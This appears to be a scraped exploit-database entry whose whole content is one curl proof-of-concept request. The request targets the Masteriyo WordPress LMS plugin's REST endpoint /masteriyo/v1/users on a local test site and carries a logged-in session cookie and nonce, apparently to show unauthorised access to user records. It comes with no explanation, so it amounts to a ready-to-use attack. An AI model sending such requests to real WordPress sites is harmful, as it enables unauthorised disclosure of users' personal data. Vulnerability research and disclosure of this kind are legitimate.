Share
## https://sploitus.com/exploit?id=WPEX-ID:0D07423E-98D2-43A3-824D-562747A3D65A
curl -i -s -k -X $'GET' \
-H $'Host: localhost:8000' -H $'sec-ch-ua: ' -H $'Accept: application/json, */*;q=0.1' -H $'sec-ch-ua-mobile: ?0' -H $'X-WP-Nonce: 7ba3ba53b8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36' -H $'sec-ch-ua-platform: \"\"' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:8000/?page_id=1124' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
-b $'masteriyo_items_in_cart=1; masteriyo_cart_hash=c53d2204151eafc62e95f393f0f0d543; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1687379163%7CnhHtigdheYNJeh7RCZ6w0mmiRr1eUE2rMzzuxbzJ6ml%7Ccef7decae7195d6c197dc332435a65745a6a050db06add877a248088b0a3d2cf' \
$'http://localhost:8000/index.php?rest_route=/masteriyo/v1/users&_locale=user'